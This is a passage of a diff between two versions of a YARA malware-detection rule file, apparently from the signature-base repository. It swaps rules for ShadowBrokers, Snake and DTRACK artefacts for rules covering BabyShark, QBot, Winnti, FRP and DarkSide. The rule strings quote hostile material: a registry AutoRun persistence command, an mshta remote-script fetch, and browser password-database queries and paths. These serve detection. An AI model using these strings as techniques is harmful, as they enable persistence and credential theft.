+		$x1 = "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Command Processor\" /v AutoRun /t REG_SZ /d \"%s\" /f" fullword ascii
+		$x2 = /mshta\.exe http:\/\/[a-z0-9\.\/]{5,30}\.hta/
+		$xc1 = { 57 69 6E 45 78 65 63 00 6B 65 72 6E 65 6C 33 32
+               2E 44 4C 4C 00 00 00 00 }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and (pe.imphash()=="57b6d88707d9cd1c87169076c24f962e" or 1 of them or for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "thawte SHA256 Code Signing CA" and pe.signatures[i].serial=="0f:ff:e4:32:a5:3f:f0:3b:92:23:f8:8b:e1:b8:3d:9d"))
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Gen_Readme1
+import "pe"
+
+rule SIGNATURE_BASE_APT_NK_Babyshark_Kimjoingrat_Apr19_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Detects BabyShark KimJongRAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1f5e3ab1-e0d1-589e-8c18-60c4ad07ee6e"
-		date = "2016-12-17"
+		id = "c6bd1e1a-68f2-5a2d-a159-b16ea0d33987"
+		date = "2019-04-27"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L356-L372"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "171d3df191e5c9ae4a4afc3a878cc25548238046b8c4c52dbb9ca4431aae45b0"
+		reference = "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_babyshark.yar#L29-L53"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3fec0f21e299e09ae9734f256edbbca81a53f860b42e99a78b07d344552f1062"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
-		hash2 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
-		hash3 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
+		tags = "FILE"
+		hash1 = "d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712"
 
 	strings:
-		$x1 = "ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10" fullword ascii
+		$x1 = "%s\\Microsoft\\ttmp.log" fullword wide
+		$a1 = "logins.json" fullword ascii
+		$s1 = "https://www.google.com/accounts/servicelogin" fullword ascii
+		$s2 = "https://login.yahoo.com/config/login" fullword ascii
+		$s3 = "SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login" ascii
+		$s4 = "\\mozsqlite3.dll" ascii
+		$s5 = "SMTP Password" fullword ascii
+		$s6 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or ($a1 and 3 of ($s*)))
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Gen_Readme2
+rule SIGNATURE_BASE_MAL_Qbot_HTML_Smuggling_Indicators_Oct22_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - from files user.tool.orleansstride.COMMON, user.tool.curserazor.COMMON"
+		description = "Detects double encoded PKZIP headers as seen in HTML files used by QBot"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5959d881-2989-582c-abe2-48c76ce0e995"
-		date = "2016-12-17"
+		id = "8034d6af-4dae-5ff6-b635-efb5175fe4d1"
+		date = "2022-10-07"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L374-L389"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb68c415d64d1db3d4bb0f4ad994bd050cb2287e4dc7b3ac57549f818a7914d8"
+		reference = "https://twitter.com/ankit_anubhav/status/1578257383133876225?s=20&t=Bu3CCJCzImpTGOQX_KGsdA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_qbot_payloads.yar#L2-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a5bd9eb72205f1398ec0b8773751309699b3267e0272dacf2728f8495c0c0ec2"
 		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
-		hash2 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
+		quality = 83
+		tags = "FILE"
+		hash1 = "4f384bcba31fda53e504d0a6c85cee0ce3ea9586226633d063f34c53ddeaca3f"
+		hash2 = "8e61c2b751682becb4c0337f5a79b2da0f5f19c128b162ec8058104b894cae9b"
+		hash3 = "c5d23d991ce3fbcf73b177bc6136d26a501ded318ccf409ca16f7c664727755a"
+		hash4 = "5072d91ee0d162c28452123a4d9986f3df6b3244e48bf87444ce88add29dd8ed"
+		hash5 = "ff4e21f788c36aabe6ba870cf3b10e258c2ba6f28a2d359a25d5a684c92a0cad"
 
 	strings:
-		$x1 = "#####  Upload the encrypted phone list as awk, modify each parser command to have the" fullword ascii
+		$sd1 = "VUVzREJCUUFBUUFJQ"
+		$sd2 = "VFc0RCQlFBQVFBSU"
+		$sd3 = "VRXNEQkJRQUFRQUlB"
+		$sdr1 = "QJFUUBFUUCJERzVUV"
+		$sdr2 = "USBFVQBFlQCR0cFV"
+		$sdr3 = "BlUQRFUQRJkQENXRV"
+		$st1 = "VlVWelJFSkNVVUZCVVVGSl"
+		$st2 = "ZVVnpSRUpDVVVGQlVVRkpR"
+		$st3 = "WVVZ6UkVKQ1VVRkJVVUZKU"
+		$st4 = "VkZjMFJDUWxGQlFWRkJTV"
+		$st5 = "ZGYzBSQ1FsRkJRVkZCU1"
+		$st6 = "WRmMwUkNRbEZCUVZGQlNV"
+		$st7 = "VlJYTkVRa0pSUVVGUlFVbE"
+		$st8 = "ZSWE5FUWtKUlFVRlJRVWxC"
+		$st9 = "WUlhORVFrSlJRVUZSUVVsQ"
+		$str1 = "UUpGVVVCRlVVQ0pFUnpWVV"
+		$str2 = "FKRlVVQkZVVUNKRVJ6VlVW"
+		$str3 = "RSkZVVUJGVVVDSkVSelZVV"
+		$str4 = "VVNCRlZRQkZsUUNSMGNGV"
+		$str5 = "VTQkZWUUJGbFFDUjBjRl"
+		$str6 = "VU0JGVlFCRmxRQ1IwY0ZW"
+		$str7 = "QmxVUVJGVVFSSmtRRU5YUl"
+		$str8 = "JsVVFSRlVRUkprUUVOWFJW"
+		$str9 = "CbFVRUkZVUVJKa1FFTlhSV"
+		$htm = "<html" ascii
+		$eml = "Content-Transfer-Encoding:" ascii
 
 	condition:
-		1 of them
+		filesize <10MB and ((1 of ($sd*) and $htm and not $eml) or (1 of ($st*) and $eml))
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Gen_Readme3
+rule SIGNATURE_BASE_Winnti_Fonfig : FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Winnti sample - file fonfig.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "41cfbf66-fb7d-5815-939f-06b23dfae746"
-		date = "2016-12-17"
+		id = "ca3c186c-0286-5b9b-9585-7680336c8c3d"
+		date = "2017-01-25"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L391-L411"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "968ec80f26750ac734ad9e296b5afb35867f6c53de1e88f7c8af78daeac24b61"
+		reference = "https://goo.gl/VbvJtL"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_ms_report_201701.yar#L10-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "715892268431bf76cf9bf0bdbeaf4129befdc590b5b2dcae479d95dfe77561a4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
-		hash2 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
-		hash3 = "3fe78949a9f3068db953b475177bcad3c76d16169469afd72791b4312f60cfb3"
-		hash4 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
-		hash5 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
-		hash6 = "89748906d1c574a75fe030645c7572d7d4145b143025aa74c9b5e2be69df8773"
-		hash7 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
+		hash1 = "2c9882854a60c624ecf6b62b6c7cc7ed04cf4a29814aa5ed1f1a336854697641"
 
 	strings:
-		$s3 = ":%s/CRYPTKEY/CRYPTKEY/g" fullword ascii
+		$s1 = "mciqtz.exe" fullword wide
+		$s2 = "knat9y7m" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Gen_Readme4
+rule SIGNATURE_BASE_Winnti_Nlaifsvc : FILE
 {
 	meta:
-		description = "Auto-generated rule - from files violetspirit.README, violetspirit.README"
+		description = "Winnti sample - file NlaifSvc.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9e84e4ab-f74a-59e5-aee2-408a68cd673f"
-		date = "2016-12-17"
+		id = "d2bfcad4-9762-5f2a-88cc-e8cdc648e710"
+		date = "2017-01-25"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L413-L429"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c19c77d7e7e26e01a9a50fd67cc0a7fd05069def878bf18726c3e115df307cb2"
+		reference = "https://goo.gl/VbvJtL"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_ms_report_201701.yar#L26-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7268c79baf37174e04b391ae42cdd6014f17478c5b89d0c7b8042eb839324f87"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
-		hash2 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
+		hash1 = "964f9bfd52b5a93179b90d21705cd0c31461f54d51c56d558806fe0efff264e5"
 
 	strings:
-		$s1 = "[-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5" fullword ascii
-		$s5 = "[-n tcp_port]    : default use portmapper to determine" fullword ascii
+		$x1 = "cracked by ximo" ascii
+		$s1 = "Yqrfpk" fullword ascii
+		$s2 = "IVVTOC" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 2 of them )) or (3 of them )
 }
-rule SIGNATURE_BASE_APT_MAL_RU_WIN_Snake_Malware_May23_1 : MEMORY
+rule SIGNATURE_BASE_HKTL_FRP_Apr20_1
 {
 	meta:
-		description = "Hunting Russian Intelligence Snake Malware"
-		author = "Matt Suiche (Magnet Forensics)"
-		id = "53d2de3c-350c-5090-84bb-b6cde16a80ad"
-		date = "2023-05-10"
-		modified = "2023-12-05"
-		reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_mal_ru_snake_may23.yar#L17-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7cff7152259bb17a9b72b91f0fbef220aad2f35a1d2758d7225316a9896bf845"
-		score = 75
-		quality = 71
-		tags = "MEMORY"
-		threat_name = "Windows.Malware.Snake"
-		scan_context = "memory"
-		license = "MIT"
+		description = "Detects FRP fast reverse proxy tool often used by threat groups"
+		author = "Florian Roth (Nextron Systems)"
+		id = "55483832-0e0b-5c28-8be5-dbd14ddb50e3"
+		date = "2020-04-07"
+		modified = "2022-11-03"
+		reference = "https://github.com/fatedier/frp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_frp_proxy.yar#L2-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "21f91fd99aed8b62d804504889c41ca77567fd345cf4ea0ef00161eefa9324a7"
+		score = 70
+		quality = 85
+		tags = ""
+		hash1 = "05537c1c4e29db76a24320fb7cb80b189860389cdb16a9dbeb0c8d30d9b37006"
+		hash2 = "08c685c8febb5385f7548c2a64a27bae7123a937c5af958ebc08a3accb29978d"
 
 	strings:
-		$a = { 25 73 23 31 }
-		$b = { 25 73 23 32 }
-		$c = { 25 73 23 33 }
-		$d = { 25 73 23 34 }
-		$e = { 2e 74 6d 70 }
-		$g = { 2e 73 61 76 }
-		$h = { 2e 75 70 64 }
+		$x1 = "frp/vendor/github.com/spf13/" ascii
+		$x2 = "github.com/fatedier/frp/vendor/" ascii
+		$fpg2 = "<html"
+		$fpg3 = "<HTML"
+		$fpg6 = "<?xml"
 
 	condition:
-		all of them
+		1 of ($x*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_APT_MAL_RU_Snake_Indicators_May23_1
+rule SIGNATURE_BASE_HKTL_FRP_INI_Apr20_1 : FILE
 {
 	meta:
-		description = "Detects indicators found in Snake malware samples"
-		author = "Florian Roth"
-		id = "0d4fa8a7-447c-5905-bab9-b63de6209036"
-		date = "2023-05-10"
+		description = "Detects FRP fast reverse proxy tool INI file often used by threat groups"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5c652c9c-715d-5ba5-821a-3e533b1e78c6"
+		date = "2020-04-07"
 		modified = "2023-12-05"
-		reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_mal_ru_snake_may23.yar#L44-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb7a4ad2ee0868f17b6235f070e4c03e2394e3c252253f334b29ad26116b09e5"
-		score = 85
-		quality = 35
-		tags = ""
-		hash1 = "10b854d66240d9ee1ce4296d2f7857d2b1c6f062ca836d13d777930d678b3ca6"
-		hash2 = "15ac5a61fb3e751045de2d7f5ff26c673f3883e326cd1b3a63889984a4fb2a8f"
-		hash3 = "315ec991709eb45eccf724dfe31bccb7affcac7f8e8007e688ba8d02827205e0"
-		hash4 = "417eb4fb9ada270af35562ff317807ac5ca9ee26181fe89990858f0944d3a6a7"
-		hash5 = "48112970de6ea0f925f0657b30adcd0723df94afc98cfafdc991d70ad3602119"
-		hash6 = "55ea557bcf4c143f20c616abe9075f7faafbf825aeef9ddb4f2b201acc44414b"
-		hash7 = "6568bbeeb417e1111bf284e73152d90fe17e5497da7630ccddcbc666730dccef"
-		hash8 = "81d620cb645006ffc9ac1b9d98a53aa286ae92b025bda075962079633f020482"
-		hash9 = "888a3029b1b8b664eb1fc77dd511c4088a1e28ae5535a8683642bb3dca011d00"
-		hash10 = "9027b4fef50b36289d630059425dc1137c88328329c3ea9dbc348dccd001adc0"
-		hash11 = "9ac199572cab67433726976a0e9ba39d6feed1d567d6d230ebe3133df8dcb7fa"
-		hash12 = "a64e5d872421991226ee040b4cd49a89ca681bdef4c10c4798b6c7b5c832c6df"
-		hash13 = "b5d2da5eb57b5ab26edb927469552629f3cf43bbce2b1a128f6daac7cf57f6f7"
-		hash14 = "bc15de1d1c6c62c0bf856e0368adabc4941e7b687a969912494c173233e6d28d"
-		hash15 = "bdf94311313c39a3413464f623bd75a3db2eb05cc01090acd6dcd462a605eb4a"
-		hash16 = "e4311892ae00bf8148a94fa900fc8e2c279a2acd3b4b4b4c3d0c99dd1d32353c"
-		hash17 = "ed74288b367a93c6b47343bc696e751b9c465761ce9c4208901726baa758b234"
-		hash18 = "ef1f1c7692b92a730f76b6227643b2d02a6e353af6e930166e3b48e3903e4ffd"
-		hash19 = "f5e982b76af7f447742753f0b57eec3d7dd2e3c8e5506c35d4cf6c860b829f45"
+		reference = "Chinese Hacktools OpenDir"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_frp_proxy.yar#L24-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cc997dc876d7a49292b62a0fb4ff12b34dacacfd8a1b90226d6a9aee303cacdf"
+		score = 60
+		quality = 85
+		tags = "FILE"
+		hash1 = "1dabef3c170e4e559c50d603d47fb7f66f6e3da75a65c3435b18175d6e9785bb"
 
 	strings:
-		$s1 = "\\\\.\\%s\\\\" ascii fullword
-		$s2 = "read_peer_nfo" ascii fullword
-		$s3 = "rcv_buf=%d%c" ascii fullword
-		$s4 = "%s: (0x%08x)" ascii fullword
-		$s5 = "no_impersonate" ascii fullword
+		$h1 = "[common]" ascii
+		$s1 = "server_addr =" ascii fullword
+		$s2 = "remote_port =" ascii fullword
+		$s3 = "[RemoteDesktop]" ascii fullword
+		$s4 = "local_ip = " ascii
+		$s5 = "type = tcp" ascii fullword
 
 	condition:
-		all of them
+		uint16(0)==0x635b and filesize <1KB and $h1 at 0 and all of them
 }
-rule SIGNATURE_BASE_MAL_APT_Operation_Shadowhammer_Malsetup : FILE
+rule SIGNATURE_BASE_APT_MAL_Fujinama : FILE
 {
 	meta:
-		description = "Detects a malicious file used by BARIUM group in Operation ShadowHammer"
-		author = "Florian Roth (Nextron Systems)"
-		id = "000f840a-848d-5f82-84bf-70690efbd4de"
-		date = "2019-03-25"
+		description = "Fujinama RAT used by Leonardo SpA Insider Threat"
+		author = "ReaQta Threat Intelligence Team"
+		id = "b10b1e45-aa6c-53fa-8e02-7a325c3e12fb"
+		date = "2021-01-07"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/operation-shadowhammer/89992/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_shadowhammer.yar#L2-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dea31e401997b0aed1753754fd572a94df308229fccdf15ae6a907dcfd59b50a"
-		score = 80
-		quality = 85
+		reference = "https://reaqta.com/2021/01/fujinama-analysis-leonardo-spa"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fujinama_rat.yar#L1-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9bff8ee5424a939b5278b2d1b349d898d138b9efb3cf783221826abb4d8015ef"
+		score = 75
+		quality = 51
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ac0711afee5a157d084251f3443a40965fc63c57955e3a241df866cfc7315223"
-		hash2 = "9acd43af36f2d38077258cb2ace42d6737b43be499367e90037f4605318325f8"
-		hash3 = "bca9583263f92c55ba191140668d8299ef6b760a1e940bddb0a7580ce68fef82"
-		hash4 = "c299b6dd210ab5779f3abd9d10544f9cae31cd5c6afc92c0fc16c8f43def7596"
-		hash5 = "6aedfef62e7a8ab7b8ab3ff57708a55afa1a2a6765f86d581bc99c738a68fc74"
-		hash6 = "cfbec77180bd67cceb2e17e64f8a8beec5e8875f47c41936b67a60093e07fcfd"
+		version = "1"
 
 	strings:
-		$x1 = "\\AsusShellCode\\Release" ascii
-		$x2 = "\\AsusShellCode\\Debug"
+		$kaylog_1 = "SELECT" wide ascii nocase
+		$kaylog_2 = "RIGHT" wide ascii nocase
+		$kaylog_3 = "HELP" wide ascii nocase
+		$kaylog_4 = "WINDOWS" wide ascii nocase
+		$computername = "computername" wide ascii nocase
+		$useragent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" wide ascii nocase
+		$pattern = "'()*+,G-./0123456789:" wide ascii nocase
+		$function_1 = "t_save" wide ascii nocase
+		$cftmon = "cftmon" wide ascii nocase
+		$font = "Tahoma" wide ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_DTRACK_Oct19_1 : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Darkside_May21_1 : FILE
 {
 	meta:
-		description = "Detects DTRACK malware"
+		description = "Detects Darkside Ransomware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "802135bd-234d-574d-b111-fcc9eaa000f8"
-		date = "2019-10-28"
+		id = "e5592065-591e-597b-bebb-f20bc306fe52"
+		date = "2021-05-10"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/a_tweeter_user/status/1188811977851887616?s=21"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dtrack.yar#L2-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b99bc8ec4df7185da306365dc2a24a0849ff0d5d92269daaa1efbb20f5e5bf83"
+		reference = "https://app.any.run/tasks/020c1740-717a-4191-8917-5819aa25f385/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_darkside.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "84de92b0b36e373aa61e314a04597bd0578a04af34c501ae9071e5f4fa27c07a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c5c1ca4382f397481174914b1931e851a9c61f029e6b3eb8a65c9e92ddf7aa4c"
-		hash2 = "a0664ac662802905329ec6ab3b3ae843f191e6555b707f305f8f5a0599ca3f68"
-		hash3 = "93a01fbbdd63943c151679d037d32b1d82a55d66c6cb93c40ff63f2b770e5ca9"
-		hash4 = "3cc9d9a12f3b884582e5c4daf7d83c4a510172a836de90b87439388e3cde3682"
-		hash5 = "bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364"
-		hash6 = "58fef66f346fe3ed320e22640ab997055e54c8704fc272392d71e367e2d1c2bb"
-		hash7 = "9d9571b93218f9a635cfeb67b3b31e211be062fd0593c0756eb06a1f58e187fd"
+		hash1 = "ec368752c2cf3b23efbfa5705f9e582fc9d6766435a7b8eea8ef045082c6fbce"
 
 	strings:
-		$xc1 = { 25 73 2A 2E 2A 00 00 00 5C 00 00 00 25 73 7E 00
-               5C 00 00 00 77 62 00 00 64 61 74 00 64 6B 77 65
-               72 6F 33 38 6F 65 72 41 5E 74 40 23 00 00 00 00
-               63 3A 5C 00 25 73 5C 25 63 2E 74 6D 70 }
-		$sx1 = "%02d.%02d.%04d - %02d:%02d:%02d:%03d : " fullword ascii
-		$sx2 = "%s\\%c.tmp" fullword ascii
-		$sx3 = "dkwero38oerA" fullword ascii
-		$sx4 = "awz2qr21yfbj" fullword ascii
-		$s1 = "Execute_%s.log" ascii
-		$s2 = "%s\\%s\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" fullword ascii
-		$s3 = "CCS_Mozilla/5.0" fullword ascii
-		$s4 = "\\C$\\Windows\\Temp\\MpLogs\\" ascii
-		$s5 = "127.0.0.1 >NUL & echo EEEE > \"%s\"" fullword ascii
-		$s6 = "[+] DownloadCommand" fullword ascii
-		$s7 = "DC-Error: Too long cmd length" fullword ascii
-		$s8 = "%s\\~%d.tmp" fullword ascii
-		$s9 = "%02X:%02X:%02X:%02X:%02X:%02X" ascii fullword
-		$op1 = { 0f b6 8d a3 fc ff ff 85 c9 74 09 8b 55 f4 83 c2 }
-		$op2 = { 6a 00 8d 85 28 fc ff ff 50 6a 04 8d 4d f8 51 8b }
-		$op3 = { 8b 85 c8 fd ff ff 03 85 a4 fc ff ff 89 85 b4 fc }
+		$op1 = { 85 c9 75 ed ff 75 10 ff b5 d8 fe ff ff ff b5 dc fe ff ff e8 7d fc ff ff ff 8d cc fe ff ff 8b 8d cc fe ff ff }
+		$op2 = { 66 0f 6f 06 66 0f 7f 07 83 c6 10 83 c7 10 49 85 c9 75 ed 5f }
+		$op3 = { 6a 00 ff 15 72 0d 41 00 ab 46 81 fe 80 00 00 00 75 2e 6a ff 6a 01 }
+		$op4 = { 0f b7 0c 5d 88 0f 41 00 03 4c 24 04 89 4c 24 04 83 e1 3f 0f b7 14 4d 88 0f 41 00 03 54 24 08 89 54 24 08 83 e2 3f }
+		$s1 = "http://darksid" ascii
+		$s2 = "[ Welcome to DarkSide ]" ascii
+		$s3 = ".onion/" ascii
 
 	condition:
-		$xc1 or 2 of ($sx*) or 4 of them or ( uint16(0)==0x5a4d and filesize <=3000KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <200KB and 3 of them or all of ($op*) or all of ($s*)
 }
-rule SIGNATURE_BASE_EXPL_Exchange_Proxynotshell_Patterns_CVE_2022_41040_Oct22_1 : SCRIPT
+rule SIGNATURE_BASE_MAL_Ransomware_Win_DARKSIDE_V1_1 : FILE
 {
 	meta:
-		description = "Detects successful ProxyNotShell exploitation attempts in log files (attempt to identify the attack before the official release of detailed information)"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d2812fcd-0a20-5bbd-a9e1-9cca1ed58aa3"
-		date = "2022-10-11"
-		modified = "2023-03-15"
-		old_rule_name = "EXPL_Exchange_ProxyNoShell_Patterns_CVE_2022_41040_Oct22_1"
-		reference = "https://github.com/kljunowsky/CVE-2022-41040-POC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_cve_2022_41040_proxynoshell.yar#L2-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "81b0f0fea2762beb47826ff95545c87e960e098b9d5f45eacfe07b3ecf319ac5"
+		description = "Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values."
+		author = "FireEye"
+		id = "322a3de5-a7e5-52b9-8648-6019954e92d7"
+		date = "2021-03-22"
+		modified = "2023-12-05"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_darkside.yar#L25-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1a700f845849e573ab3148daef1a3b0b"
+		logic_hash = "b3612510bd1f2ca7543e217e97037b02d312bcda2b2df16d9be3216749ea4beb"
 		score = 75
 		quality = 85
